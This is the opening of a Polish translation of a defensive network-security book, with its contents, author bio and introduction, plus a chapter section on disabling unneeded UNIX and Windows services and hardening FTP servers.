background image
background image

 

 

 

Spis treści 

O Autorze............................................................................................................ 5 

Wstęp .................................................................................................................. 7 

Rozdział 1.  Zabezpieczanie portów i usług .......................................................................... 9 

Porty zarezerwowane (well-known ports) ......................................................... 10 

Zabezpieczanie portów zarezerwowanych ................................................................ 10 

Porty ukryte........................................................................................................ 61 

Skanowanie portów lokalnych .................................................................................. 62 
Zabezpieczanie portów ukrytych .............................................................................. 96 

Przeciwdziałanie gromadzeniu informacji ....................................................... 135 

Informacje Whois.................................................................................................... 135 
Projekt witryny internetowej................................................................................... 138 
Anonimowość uŜytkownika.................................................................................... 147 
Skanowanie zakresu adresów IP ............................................................................. 151 
InŜynieria społeczna................................................................................................ 158 

Rozdział 2.  Mechanizmy ochrony przed włamaniami .................................................... 161 

Zabezpieczanie przed penetracją...................................................................... 161 

Ochrona przed programami wykorzystującymi tylne drzwi ................................. 162 
Ochrona przed cookies............................................................................................ 166 
Ochrona przed przepełnieniem ............................................................................... 167 
Ochrona przed manipulacją dziennikami ................................................................ 173 
Ochrona przed bombardowaniem poczty i spamowaniem...................................... 191 
Ochrona przed łamaniem haseł ............................................................................... 194 
Ochrona przed podsłuchem..................................................................................... 197 
Ochrona przed podszywaniem się........................................................................... 211 
Ochrona przed wirusami ......................................................................................... 212 
Ochrona przed włamaniami na strony internetowe ................................................. 214 

Rozdział 3.  Sekrety zespołu Tiger Team.......................................................................... 223 

Zabezpieczanie urządzeń sieciowych i usług................................................... 223 

Bramy i routery ....................................................................................................... 225 
Demony serwerów internetowych........................................................................... 232 
Systemy operacyjne ................................................................................................ 237 
Proxy i firewalle...................................................................................................... 252 

Rozdział 4.  Powiązanie mechanizmów zabezpieczających............................................. 257 

Zasady bezpieczeństwa .................................................................................... 257 

Zasady bezpieczeństwa ........................................................................................... 258 
Tworzenie planu...................................................................................................... 262 

background image

 

Hack Wars. Tom 2. Na tropie hakerów 

 

Kontrola kierownicza.............................................................................................. 267 
Kontrola operacyjna................................................................................................ 273 
Szablony zasad bezpieczeństwa .............................................................................. 299 
Analiza zabezpieczeń .............................................................................................. 299 
Wyniki końcowe analizy zabezpieczeń................................................................... 305 
WdroŜenie zabezpieczeń......................................................................................... 338 

Dodatek A  Oprogramowanie zabezpieczające ............................................................... 343 

TigerSurf................................................................................................................. 343 
Serwer Tiger Web ................................................................................................... 354 

Dodatek B  Szablony planu zabezpieczeń ........................................................................ 357 

Plan zabezpieczeń głównej aplikacji....................................................................... 357 
Plan zabezpieczeń systemu ogólnego wsparcia ...................................................... 367 

Dodatek C  Zawartość płyty CD ....................................................................................... 379 

Rozdział 1. .............................................................................................................. 379 
Rozdział 2. .............................................................................................................. 381 
Rozdziały 3. i 4. ...................................................................................................... 382 
TigerSurf................................................................................................................. 382 
Lista portów ............................................................................................................ 383 

Dodatek D   Spis treści tomu 1.  ......................................................................................... 385 

Dodatek E   Skorowidz tomu 1.  ........................................................................................ 387 

Dodatek F   Słowniczek najwaŜniejszych pojęć................................................................ 389 

Skorowidz ....................................................................................................... 393 

 

 
 
 
 

background image

 

 

5

 

O Autorze 

Obecnie znany jako superhaker, pracujący przy najwaŜniejszych projektach i asystu-
jący menedŜerom ds. zabezpieczeń w róŜnych firmach, John Chirillo rozpoczął swoją 
karierę komputerową w wieku lat 12, kiedy to po roku spędzonym na samodzielnym 
poznawaniu komputerów napisał grę Dragon’s Tomb. Gra sprzedała się w ilości kilku 
tysięcy kopii. W ciągu kolejnych pięciu lat John napisał wiele innych programów, ta-
kich jak The Lost Treasure (podręcznik pisania  gier), Multimanger (zestaw oprogra-
mowania do prowadzenia księgowości, finansów i gospodarki magazynowej), Sorce-
ry
  (gra  przygodowa  RPG),  PC  Notes  (graficzny  interfejs  uŜytkownika  do  nauki 
matematyki — od algebry do arytmetyki), Falcon’s Quest I i II (graficzne gry przy-
godowe) oraz Genius (kompletny system operacyjny oparty o Windows, wykorzystu-
jący mechanizm wskazywania i klikania). John uzyskał certyfikaty w wielu językach 
programowania,  włączając  w  to  QuickBasic,  VB,  C++,  Pascal,  Assembler  i  Javę. 
W późniejszym okresie John utworzył PC Optimization Kit (zwiększający do 200 procent 
prędkość standardowych procesorów Intel 486). 

Podobne  sukcesy  John  odnosił  w  szkole;  otrzymał  wiele  stypendiów  naukowych, 
między  innymi  na  uniwersytecie  Illinois  Benedictine  University.  Chirillo  prowadził 
dwie firmy — Software Now i Geniusware — a następnie został konsultantem specja-
lizującym się w zabezpieczeniach i analizach. John pracował dla wielu prestiŜowych 
firm, gdzie wykonywał analizy zabezpieczeń i podsłuchu, projekty sieci LAN i WAN, 
wdraŜanie oraz rozwiązywanie problemów. W czasie tego okresu uzyskał wiele certy-
fikatów, takich jak Cisco CCNA, CCDA, CCNP, CCIE, Intel Certfied Solutions Kon-
sultant, Compaq ASE Enterprise Storage oraz Master UNIX. John Chirillo jest obec-
nie inŜynierem sieciowym w firmie zajmującej się zarządzaniem technologią. 

background image

 

Hack Wars. Tom 2. Na tropie hakerów 

 

Podziękowania 

Przede wszystkim chciałem podziękować mojej Ŝonie nie tylko za korektę tej ksiąŜki, 
ale i za jej ciągłe wsparcie i cierpliwość w czasie pisania. Chciałbym takŜe podzięko-
wać mojej rodzinie i przyjaciołom za ich zachęty i pokładane we mnie zaufanie. Czu-
ję  równieŜ  wyjątkową  wdzięczność  dla  następujących  osób,  firm  i  organizacji:  Neil 
Ramsbottom, Mike G., Mike Down, Shadowlord, Mindgame, John Fenton, Philip Be-
am, J.L. du Preez, Buck Naked, SreRoiD, no()ne, Państwowy Instytut Standaryzacji i 
Technologii  (NIST),  Marianne  Swanson,  Simple  Nomad,  The  LAN  God,  Teiwaz, 
Fauzan  Mirza,  David  Wagner,  Diceman,  Craigt,  Einar  Blaberg,  Cyberius,  Jungman, 
RX2,  itsme,  Greg  Miller,  John  Vranesevich,  Deborah  Triant,  Mentor,  FBI,  Krajowe 
Centrum  Zabezpieczenia  Komputerów  (NCSC),  2600.com,  Fyodor,  Muffy  Barkocy, 
Wintermute,  dcypher,  manicx,  Tsutomu  Shimomura,  humble,  The  Posse,  Jim  Huff, 
Soldier,  Mike  Frantzen,  Tfreak,  Dan  Brumleve,  Arisme,  Georgi  Guninski,  Satanic 
Mechanic,  Mnemonic,  The  Grenadier,  Jitsu,  lore,  414,  wszyscy  członkowie  H4G1S 
oraz wszyscy w ValCom. 

Jak zwykle to bywa, aby odnieść sukces, naleŜy znaleźć się w otoczeniu najlepszych 
ludzi.  Pamiętając  o  tym,  muszę  podziękować  Davidowi  Fugate  z  Waterside  Produc-
tions  oraz  Carol  Long,  Mathew  Cohenowi,  Adaobi  Obi,  Micheline  Frederick  oraz 
wszystkim innym z wydawnictwa John Wiley & Sons, o których tu nie wymieniłem. 

 

background image

 
Rozdział X. 

 Tytuł rozdziału 

 

7

 

Wstęp 

Coraz większa liczba uŜytkowników prywatnych sieci domaga się dostępu do takich 
usług  internetowych,  jak  World  Wide  Web,  poczta  elektroniczna,  Telnet  czy  FTP. 
RównieŜ  firmy  chcą  udostępniać  publicznie  strony  WWW  i  serwery  FTP.  Wraz 
z rozwojem  Internetu  zwiększa  się  prawdopodobieństwo  naruszenia  bezpieczeństwa 
sieci.  Administratorzy  sieci  i  menedŜerowie  drŜą  na  myśl  o  naraŜeniu  poufnych  danych 
firmowych  oraz  infrastruktury  sieciowej  na  coraz  popularniejsze  ataki  hakerów,  cracke-
rów  i  phreaków.  Jednym  zdaniem,  bezpieczeństwo  internetowe  staje  się  najwaŜniejsze, 
kiedy organizacja rozwija swoją sieć prywatną w celu połączenia z siecią publiczną. 
Aby zapewnić wymagany poziom bezpieczeństwa, firma potrzebuje nie tylko nowocze-
snej  polityki  zabezpieczeń  w  celu  uniemoŜliwienia  nieautoryzowanego  dostępu;  jej  me-
nedŜerowie  muszą  w pełni zrozumieć  wszystkie elementy  związane z budową solid-
nych  fortyfikacji  chroniących  przed  atakami  hakerów.  Nawet  organizacje  niepołączone 
z Internetem muszą ustanowić wewnętrzne środki ochronne, jeśli chcą skutecznie zarzą-
dzać dostępem uŜytkowników do swoich sieci oraz chronić tajne i wraŜliwe informacje. 

KsiąŜka Hack  wars. Administrator kontratakuje omawia  wszystkie te kwestie i defi-
niuje procedury, które są niezbędne do pełnej ochrony sieci i systemów przed zagro-
Ŝ

eniami związanymi z bezpieczeństwem. Poprzez podział na rozdziały, które odnoszą 

się do pierwszego tomu tej ksiąŜki, Hack wars. Na tropie hakerów, przedstawiono tu-
taj kolejne kroki, które naleŜy wykonać w celu przygotowania i wdroŜenia skutecznej 
polityki zabezpieczeń. 

Pierwszym etapem jest poznanie przez czytelników róŜnych zagroŜeń; realizujemy to, 
przedstawiając  róŜnorakie  procedury  zespołu  Tiger  Team,  uzupełnione  o  przykłady 
i ilustracje. KsiąŜka jest podzielona na cztery rozdziały. Rozdział 1. omawia inŜynierię in-
frastruktury  systemowej,  wyjaśniając  procesy  niezbędne  do  zabezpieczenia  wraŜliwych 
portów i usług. W rozdziale 2. znalazł się dokładny opis sposobu chronienia przed pene-
tracją ukrytych słabych punktów, omówionych w pierwszym tomie tej ksiąŜki. Rozdział 
3. przedstawia najwaŜniejsze środki chroniące przed atakami hakerów, które moŜna wy-
korzystać w popularnych bramach, routerach, demonach serwerów internetowych, syste-
mach operacyjnych oraz proxy i firewallach. Rozdział  4. pozwala na spojrzenie na zabez-
pieczenia sieci z pewnej perspektywy dzięki prezentacji skutecznej polityki zabezpieczeń. 

Kto powinien przeczytać tę ksiąŜkę

KsiąŜka Hack wars. Administrator kontratakuje zawiera wiadomości dla wszystkich zain-
teresowanych obawiających się o bezpieczeństwo sieciowe, przeczytanie jej pozwoli zro-
zumieć metody uŜywane do najskuteczniejszego zabezpieczania systemu oraz sieci. 

background image

 

Hack Wars. Tom 2. Na tropie hakerów 

 

KsiąŜka ta została napisana z myślą o następujących czytelnikach: 









 

uŜytkownicy domowi lub prowadzący małe biuro, będący entuzjastami 
Internetu, a wykonywane przez nich czynności w sieci to bezpieczne zakupy, 
wypełnianie formularzy oraz przesyłanie plików, danych i informacji; 









 

inŜynierzy sieciowi, których całe Ŝycie zawodowe koncentruje się na kwestii 
bezpieczeństwa; 









 

inŜynierzy zabezpieczeń, którzy chcą stać się guru w swojej dziedzinie; 









 

hakerzy, crackerzy i inni, dla których ta ksiąŜka będzie stanowiła formę 
edukacji, jak i rozrywki; 









 

menedŜerowie nie zajmujący się techniką, których praca moŜe zaleŜeć 
od zawartych tu informacji; 









 

fani hakerów i wielbiciele takich filmów, jak Matrix czy Hackers









 

inteligentni i ciekawi nastolatkowie, których przeznaczenie moŜe się zmienić 
po przeczytaniu tej ksiąŜki. 

Uwaga dla czytelnika 

Wszystkie  nazwy,  o  których  wiadomo,  iŜ  stanowią  znaki  handlowe  lub  serwisowe, 
zostały prawidłowo oznaczone. Nie moŜemy jednak w pełni potwierdzić tej informa-
cji. UŜycie nazwy w tej ksiąŜce nie powinno być uznane za naruszenie praw związa-
nych ze znakiem handlowym lub serwisowym. 

Ta  ksiąŜka  jest  sprzedawana  tylko  w  celach  informacyjnych.  Bez  pisemnej  zgody 
firmy  docelowej  większość  przedstawionych  tu  procedur  jest  nielegalna  w  Stanach 
Zjednoczonych  i  wielu  innych  krajach.  Ani  autor,  ani  wydawca  nie  będą  odpowie-
dzialni za uŜycie lub niewłaściwe uŜycie informacji zawartych w tej ksiąŜce. 

background image

 

9

 

Rozdział 1. 

Zabezpieczanie portów i usług 

W  pierwszym  tomie  niniejszej  ksiąŜki,  Hack  wars.  Na  tropie  hakerów,  opisywaliśmy 
juŜ porty i usługi. Przedstawiliśmy takŜe ich znaczenie dla podatności systemów na ataki 
z zewnątrz. Warto jednak  krótko przypomnieć  — porty to  swoiste  „bramy”, pośredni-
czące w przesyłaniu informacji do i z komputera. Hakerzy korzystają z narzędzi zwanych 
„skanerami portów” (równieŜ opisanych w pierwszym tomie), umoŜliwiających ich prze-
szukanie i  wyszukanie  tych,  które  są  otwarte  (na  których  prowadzony  jest  „nasłuch”). 
Te właśnie mogą zostać wykorzystane w próbach nieuprawnionej penetracji systemu. 

Z  około  65  tysięcy  portów  komputera,  pierwszych  1024  określa  się  jako  well-known 
ports
,  czyli  porty  zarezerwowane  (dosł.  porty  znane).  Pozostałe  określić  moŜna  jako 
porty ukryte (ang. concealed ports). W rozdziale 1. zajmiemy się technikami pozwalają-
cymi zabezpieczyć porty oraz związane z nimi usługi. Rozpoczniemy od metod zabez-
pieczenia,  zarówno  portów  zarezerwowanych,  jak  i  pozostałych,  które  są  w  systemie 
wykorzystywane. Następnie przejdziemy do przeciwdziałania wykrywaniu danych o sys-
temie i skanowaniu portów. Wykrywanie danych o systemie docelowym, jak opisujemy 
to w pierwszym tomie Hack wars, jest początkowym etapem działań hakera, poprzedza-
jącym  utworzenie  skutecznego  planu  ataku.  Skanowanie  portów  jest  najczęściej  drugą 
fazą gromadzenia potrzebnych informacji. 

W  niniejszej  ksiąŜce  przedstawiać  będziemy  kolejne  etapy  prowadzące  do  spójnego 
zabezpieczenia systemu. Trzymając się podejścia zespołu Tiger Team, opiszemy ko-
lejne procedury (kroki), prowadzące do skutecznej ochrony przed przełamaniem wprowa-
dzonych barier obronnych. Uporządkowanie treści odpowiadać będzie typowej kolejno-
ś

ci ich konfigurowania. 

Porty zarezerwowane 
(well-known ports) 

Celem niniejszego podrozdziału jest wprowadzenie Czytelnika w techniki słuŜące do 
zabezpieczania najwraŜliwszych portów z listy zarezerwowanych (well-known ports). 

background image

 
10 

Hack Wars. Tom 2. Na tropie hakerów 

10 

 

Są  one  wykorzystywane  przez  róŜnorodne  usługi  korzystające  z  transportu  TCP  lub 
UDP. Gdy dwa systemy nawiązują komunikację, porty te stają się zakończeniami po-
łączeń  logicznych,  stanowiących  podstawę  „konwersacji”  komputerów.  Połączenie 
TCP  inicjowane  jest  w  drodze  trójstopniowej  wymiany  potwierdzeń  (ang.  three-way 
handshake
), której celem jest zsynchronizowanie numerów sekwencyjnych i potwierdzeń 
obu  stron  (komunikację  TCP  określa  się  często  jako  połączeniową  lub  gwarantowaną). 
Komunikacja  UDP  realizowana  jest  przez  bezpołączeniową  usługę  przesyłania  datagra-
mów, gdzie dostarczanie danych nie jest gwarantowane, ale wysoce wydajne. 

Skoncentrujemy  się  w  przedstawionym  opisie  na  portach  określonych  w  pierwszym 
tomie jako najbardziej  wraŜliwe na ataki. Ich lista  wygląda  następująco: echo (7), systat 
(11), netstat (15), chargen (19), FTP (21), telnet (23), SMTP (25), domain (53), bootp 
(67), TFTP (69), finger (79), http (80), pop2 (109), pop3 (110), portmap (111), loc-serv 
(135), nbname (137), nbdatagram (138), nbsession (139), SNMP (161), exec (512), login 
(513), shell (514), syslog (514), talk (517), ntalk (518), route (520) i uucp (540). 

Zabezpieczanie portów zarezerwowanych 

Pamiętać naleŜy, Ŝe porty zarezerwowane to pierwsze 1024 porty, które wykorzystywane 
są  przez  usługi  systemu.  Połączenia  wychodzące  będą  miały  zazwyczaj  numery  wyŜsze 
od 1023. Oznacza to, Ŝe wszystkie pakiety przychodzące, kierowane do portów wyŜszych 
niŜ 1023, są odpowiedziami na zainicjowane w systemie Ŝądania. Połączenia takie korzy-
stają z portów zarezerwowanych, na których prowadzony jest nasłuch w oczekiwa-
niu Ŝądań określonych usług. Nasłuchem zarządzają procesy systemowe albo demony 
usług
. Gdy jednak oczekują one na uprawnione Ŝądania połączeń, pozostają jednocześnie 
otwarte na naduŜycia. Pamiętając o tej podstawowej zaleŜności, przyjrzyjmy się teraz 
metodom „blokowania” portów zarezerwowanych i ochrony związanych z nimi usług. 

Zanim jednak przejdziemy do konkretnych portów, czeka nas jeszcze krótki przegląd 
rejestru systemu Windows i demona Internet Services Database (inetd, baza danych 
usług internetowych) systemu UNIX. Dokładniej rzecz ujmując, inetd to proces zarzą-
dzania demonami
, zapewniający obsługę  wszystkich usług sieciowych pracujących 
w  systemie  UNIX.  Opierając  się  na  pliku  konfiguracyjnym 

/etc/inetd.conf

,  zarządza 

on aktywacją usług (ftp, telnet, login i innych). W niniejszej ksiąŜce odwołujemy się 
do pliku 

inetd.conf

 zgodnie z jego implementacją w systemie Linux, gdzie znajduje się 

w  katalogu 

/etc/

.  NaleŜy jednak pamiętać, Ŝe  w  wielu odmianach  systemu UNIX jego 

lokalizacja  moŜe  być  inna.  Przykładowo:  w  systemach  AIX  i  Digital  znajdziemy  plik 

inetd.conf

  w  katalogu 

/usr/sbin

,  w  systemach  HP-UX  9  i  10  —  w  katalogach,  odpo-

wiednio, 

/etc

 i 

/usr/lbin

, w systemie IRIX — w 

/usr/etc

, w Solarisie — 

/usr/sbin

, a w sys-

temie SunOS — 

/usr/etc

W systemach Windows, do pewnego stopnia przyrównać moŜna do uniksowego demo-
na inetd rejestr systemu stanowiący hierarchiczną bazę danych, w której przechowuje 
się  wszelkie  ustawienia  konfiguracyjne.  Zastąpił  on  pełniące  podobną  rolę  w  Windows 
3.x pliki 

.ini

. Wszelkie dane systemowe z plików 

system.ini

win.ini

 i 

control.ini

 znaleźć 

moŜna w ujednoliconej bazie rejestru. Umieszczają w nim informacje inicjalizacyjne 
i konfiguracyjne równieŜ wszystkie programy. 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

11 

 

11

 

 

 

Przed wprowadzeniem jakichkolwiek modyfikacji w pliku inetd.conf lub rejestrze Win-
dows, zawsze naleŜy pamiętać o utworzeniu ich kopii zapasowych. 

Port 7: Echo 

Typowe schematy komunikacji nie wymagają aktywności usługi Echo. Jej jedyną rolą 
jest przesłanie odpowiedzi na komunikat przesłany jako Ŝądanie połączenia TCP lub 
UDP. W takich wypadkach zaleca się więc całkowite wyłączenie usługi w celu uniknięcia 
potencjalnych  ataków  typu  Denial  of  Service  (DoS,  „uniemoŜliwienie  działania”). 
Zanim jednak to zrobimy, powinniśmy sprawdzić czy Ŝadne oprogramowanie firmowe 
— jak monitorujące czy diagnostyczne — nie wymaga jej funkcjonowania. 









 

Aby wyłączyć usługę Echo w systemie UNIX, wprowadzamy modyfikację 
w pliku 

/etc/inetd.conf

, polegającą na oznaczeniu wpisu usługi jako komentarza  









 

Aby dezaktywować usługę Echo w systemie Windows, wymagane jest 
wprowadzenie zmiany w rejestrze.  

Rysunek1.1. 
Wyłączanie usług 
w systemie UNIX 

 

 

Uruchamiamy  w  tym  celu  z  okna  Start  |  Uruchom  program  regedit.exe.  Następnie 
wyszukujemy wpisy usługi Echo dla protokołów TCP i UDP, aby zmienić ich wartości 
na 

false

 lub 

0

 (patrz rysunek 1.2). Po zakończeniu restartujemy system i weryfikuje-

my skuteczność wprowadzonych modyfikacji. 

 

 

JeŜeli  masz  trudności  lub  obawiasz  się  wprowadzania  zmian  w  rejestrze  systemu  Win-
dows, sięgnij do dodatku A, gdzie znajdziesz więcej informacji o oprogramowaniu wspoma-
gającym zabezpieczanie systemu. Korzystając z TigerWatch moŜesz monitorować i blokować 
porty oraz usługi systemowe, unikając konieczności wyłączania ich „ręcznie” lub w drodze 
bezpośredniej edycji rejestru. 

background image

 
12 

Hack Wars. Tom 2. Na tropie hakerów 

12 

 

Rysunek 1.2.  
Modyfikowanie 
rejestru systemu 
Windows w celu 
wył
ączenia usługi 

 

 

 

 

W systemie Windows NT 4 usługę Echo wyłączyć moŜna przez proste odinstalowanie 
składnika  usług  sieciowych  Simple  TCP/IP  Services  (Usługi  Simple  TCP/IP)  —  przyp. 
tłum

Port 11: Systat, port 15: Netstat 

Zdalnie inicjowana, usługa Systat dostarcza informacji o stanie procesów i uŜytkownikach 
— powinna więc zostać wyłączona. Aby to zrobić w systemie UNIX, wprowadzamy 
prostą  modyfikację  w  pliku 

/et/inetd.conf

,  podobnie  jak  w  przypadku  usługi  Echo 

(patrz rysunek 1.1). Następnie restartujemy cały system lub sam proces inetd

Analogicznie do Systat, usługa Netstat moŜe dostarczyć osobie nieupowaŜnionej danych 
o aktywnych  połączeniach  sieciowych,  jak  równieŜ  innych  uŜytecznych  informacji 
o podsystemie  komunikacyjnym  —  protokołach,  adresach  i  funkcjonujących  gniazdach 
i rozmiarach MTU (patrz rysunek 1.3). Aby wyłączyć usługę Netstat w systemie UNIX, 
równieŜ  wystarczy  modyfikacja  pliku 

inetd.conf

,  podobna  do  przedstawionej  na  ry-

sunku 1.1 dla usługi Echo. Po jej wprowadzeniu restartujemy system lub sam proces inetd

Rysunek 1.3.  
Część informacji 
ujawnianych przez 
usług
ę Netstat 

 

 

Port 19: Chargen 

Usługa Chargen moŜe zostać wykorzystana do przekazywania danych usłudze Echo 
i odbierania ich w układzie nie kończącej się pętli. Łatwo w ten sposób doprowadzić 
do  powaŜnego  przeciąŜenia  systemu.  PoniewaŜ  usługa  pełni  wyłącznie  rolę  prostego 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

13 

 

13

 

generatora  strumienia  znaków,  jest  mało  prawdopodobne,  aby  praca  sieci  wymagała 
jej  obecności.  Aby  ograniczyć  moŜliwości  wpływania  z  zewnątrz  na  pracę  systemu, 
zaleca się więc wyłączenie usługi. 









 

Aby wyłączyć usługę w systemie UNIX, oznaczamy dotyczący jej wiersz 
w pliku 

/etc/inetd.conf

 jako komentarz, podobnie jak przedstawiono to na 

rysunku 1.1 dla usługi Echo. Następnie restartujemy system lub sam proces inetd









 

Mimo, Ŝe usługa Chargen nie jest integralną częścią systemu Windows, 
mogła zostać wcześniej zainstalowana. Aby uniemoŜliwić jej pracę, 
konieczna jest edycja rejestru. Korzystamy w tym celu z okna Start | Uruchom
uruchamiając program regedit.exe. Wyszukujemy następnie wpisy usługi 
i zmieniamy ich wartości na 

false

 lub 

0

 (na rysunku 1.2 przedstawiona została 

podobna operacja dla usługi Echo). Po wprowadzeniu modyfikacji, restartujemy 
system i sprawdzamy ich poprawność. 









 

JeŜeli zainstalowane zostały usługi Simple TCP/IP Services (w systemie NT 
lub 2000), najprostszym sposobem wyłączenia obsługi portu Chargen jest 
odinstalowanie elementu Simple TCP/IP Services (Usługi Simple TCP/IP
poprzez arkusz właściwości połączenia sieciowego. 

Port 21: FTP 

O ile załoŜenia komunikacji sieciowej nie wymagają korzystania z protokołu przesyłania 
plików FTP, zaleca się wykluczenie moŜliwości korzystania z tej usługi. Gdy jednak 
funkcjonowanie FTP jest koniecznością, istnieją inne metody ochrony. Omówimy tu 
szerzej kilka sytuacji i sposobów zabezpieczania. Rozpocznijmy jednak od wyłączania 
usługi, co oczywiście jest najbezpieczniejsze. 









 

Podobnie jak w przypadku większości usług sieciowych w systemie UNIX, 
oznaczenie jako komentarza wiersza usługi FTP w pliku 

inetd.conf

 zapewnić 

powinno całkowite dezaktywowanie jej demona (patrz rysunek 1.4). 
Aby wprowadzona zmiana odniosła skutek, nie wolno oczywiście 
zapomnieć o restarcie demona lub, nawet lepiej, całego systemu. 

Rysunek 1.4.  
Wyłączanie 
usługi FTP 
w systemie UNIX 

 

 









 

W systemach Windows dostępne są dwie podstawowe metody wyłączania 
usługi FTP: modyfikacja konfiguracji uruchomieniowej lub zakończenie 
pracy procesu aktywnego. Modyfikowanie konfiguracji uruchomieniowej 

background image

 
14 

Hack Wars. Tom 2. Na tropie hakerów 

14 

 

systemu Windows NT jest stosunkowo proste, wymaga jedynie zalogowania 
uŜytkownika z odpowiednimi uprawnieniami. Po wybraniu kolejno Start | 
Ustawienia | Panel sterowania
 | Usługi, przewijamy listę usług, wyszukując 
Usługa publikowania FTP. Ilustruje to rysunek 1.5. 

Rysunek 1.5.  
Wyszukiwanie 
demona usługi FTP 
w systemie 
Windows NT 

 

 









 

Po znalezieniu odpowiedniej pozycji, pojedynczym kliknięciem zaznaczamy 
ją i klikamy, widoczny w prawej części okna, przycisk Zatrzymaj. Ukazuje się 
wówczas okienko widoczne na rysunku 1.6. Po zatwierdzeniu operacji, demon 
FTP powinien pozostać nieaktywny aŜ do następnego uruchomienia systemu. 
Aby zapobiec jego ponownemu uruchomieniu, uŜyć naleŜy z kolei przycisku 
Autostart. W wyświetlanym przezeń oknie wybieramy opcję Wyłączony, po czym 
klikamy OK (ilustruje to rysunek 1.7). 

Rysunek 1.6.  
Zatwierdzenie 
wył
ączenia usługi 
FTP w systemie 
Windows NT 

 

 

Standardowo, aby trwale wyłączyć demona usługi FTP w systemach Windows, korzy-
stamy z dedykowanego modułu administracyjnego usługi. Alternatywą jest całkowite 
usunięcie jej z systemu za pomocą modułu Panelu sterowania, Dodaj/Usuń programy
Istnieje jeszcze rozwiązanie  najprostsze, pozwalające wyłączyć usługę czasowo —  

 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

15 

 

15

 

Rysunek 1.7.  
Trwałe wyłączanie 
demona usługi 
FTP w systemie 
Windows NT 

 

 

wciśnięcie klawiszy Ctrl+Alt+Delete i wywołanie okna Zamknij program lub Mene-
d
Ŝer  zadań.  Wówczas  przewijamy  listę  procesów,  znajdujemy  i  zaznaczamy  proces 
FTP, po czym klikamy przycisk Zakończ zadanie lub Zakończ proces. Ilustruje to rysu-
nek  1.8.  Usługa  pozostanie  nieaktywna  do  ponownego  uruchomienia  systemu.  Wyko-
nanie  tego  rodzaju  operacji  moŜe  być  konieczne,  gdy  korzystamy  z  demona  innego 
niŜ standardowo dołączany do systemu. 

Rysunek 1.8.  
Kończenie pracy 
demona usługi 
FTP 

 

 

Jak wspomnieliśmy wcześniej, jeŜeli wyłączenie usługi FTP nie jest dopuszczalne, moŜna 
uŜyć  innych  sposobów  jej  zabezpieczenia.  Przyjrzyjmy  się  kilku  dostępnym  środkom 
przeciwdziałania włamaniom: 









 

Zmiana komunikatu powitalnego FTP. Zaleca się zmianę komunikatu 
wyświetlanego przez demon FTP bezpośrednio po nawiązaniu połączenia. 
ZaleŜnie od stosowanego programu, ujawniać on moŜe osobom niepowołanym: 

background image

 
16 

Hack Wars. Tom 2. Na tropie hakerów 

16 

 

typ demona, wersję, platformę systemową i inne istotne dane. Przyjrzyjmy się 
rysunkowi 1.9 — sama próba nawiązania połączenia pozwala uzyskać kilka 
podstawowych informacji: nazwę systemu docelowego, typ demona FTP 
i jego wersję. Włamywaczowi nie pozostaje nic prostszego jak przejrzeć 
listę powszechnie znanych wad stosowanego programu i rozpocząć ich 
wykorzystywanie. 

Rysunek 1.9.  
Dane ujawniane 
przez komunikat 
powitalny FTP 

 

 

 

 

Niektóre pakiety FTP nie przewidują moŜliwości zmiany komunikatu powitalnego. 









 

Ograniczenia połączeń FTP. Z limitem ilości połączeń FTP wiąŜe się dość 
ciekawe zagroŜenie. Standardowo, wiele programów określa tę wartość jako 
stosunkowo wysoką (patrz rysunek 1.10). Przy jej modyfikowaniu, warto 
zachować zdrowy rozsądek. Przede wszystkim warto rozwaŜyć ile strumieni 
połączeniowych dany serwer faktycznie potrafi obsłuŜyć. Przeciętny serwer 
NT całkowicie „załamuje się” przy 200 jednocześnie otwartych sesjach. 
Doprowadzenie do takiej awarii, przez przesłanie ogromnej liczby Ŝądań 
połączenia, zadowoli niejednego hakera. 

Rysunek 1.10.  
Limit połączeń FTP 
na serwerze NT 

 

 









 

Połączenia anonimowe. Istotną rzeczą jest unikanie, o ile to moŜliwe, 
uaktywniania opcji anonimowych połączeń FTP (patrz rysunek 1.11). 
NaleŜy równieŜ mieć świadomość, Ŝe w wielu pakietach FTP, 

background image

 
Rozdział 1. 

 Zabezpieczanie portów i usług 

17 

 

17

 

zwłaszcza dla systemu UNIX, funkcja ta pozostaje domyślnie włączona. 
JeŜeli połączenia anonimowe muszą być dostępne, wymagana jest 
niezwykła dbałość o ustawienia uprawnień dostępu do plików i katalogów. 
Na platformach uniksowych naleŜy równieŜ zadbać o moŜliwie ograniczony 
plik 

/etc/passwd

Rysunek 1.11.  
Opcja anonimowych 
poł
ączeń FTP 

 

 









 

Uprawnienia. Bardzo istotne jest ścisłe określenie dla kaŜdego uŜytkownika 
jego praw umieszczania na serwerze i pobierania plików, jak równieŜ 
uprawnień dotyczących poszczególnych plików i katalogów. Podstawowym 
zaleceniem jest tu dokładne i wielokrotne sprawdzanie wprowadzonych 
ustawień. Gdy liczba uŜytkowników jest duŜa, naleŜy się liczyć z tym, 
Ŝ

e zajmie to więcej czasu. Nie będzie to jednak czas stracony. RównieŜ, 

w szczególności na platformach uniksowych, wyłączamy opcje 

chmod

 oraz 

przeglądanie katalogów. Przy konfigurowaniu systemów Windows nie wolno 
zapomnieć o koncie Guest (Gość), które — w większości systemów — powinno 
pozostawać wyłączone. 

Tiger FTP 

Pakiety  systemów  UNIX  zawierają  zazwyczaj  demony  FTP.  Domowi  czy  prywatni 
uŜytkownicy Windows poszukujący rozwiązania FTP zapewniającego im pełną kontrolę 
nad procesami komunikacyjnymi równieŜ nie powinni mieć powodów do zmartwień. 
PoniŜej  przedstawimy  przykładową  kompilację  oprogramowania  FTP.  Pozwala  ona 
swobodnie zarządzać funkcjonowaniem serwera i zapewniać bezpieczny dostęp FTP 
rodzinie  i  przyjaciołom.  Lista  dostępnych  funkcji  obejmuje  opcje  wiersza  poleceń, 
uprawnienia do plików i katalogów i opcje przebiegu sesji. Przedstawiony na rysunku 
1.12 program TigerFTPServ moŜe być bez ograniczeń modyfikowany, rozpowszechniany 
i  wykorzystywany.  W  jego  skład  wchodzi  analizator  sesji,  wyświetlający  w  czasie  rze-
czywistym wszystkie Ŝądania połączeń i dane stanu transakcji. Dla uniknięcia komplikacji 
i  zapewnienia  bezpieczeństwa,  wszystkimi  uprawnieniami  uŜytkowników  zarządza 
plik 

TFTPServ.ini

background image

 
18 

Hack Wars. Tom 2. Na tropie hakerów 

18 

 

Rysunek 1.12.  
Główny formularz, 
a zarazem interfejs 
programu 
TigerFTPServ 

 

 

[Settings] 
Version=1.0.0 
[Users] 
Users=1 
Name1=test 
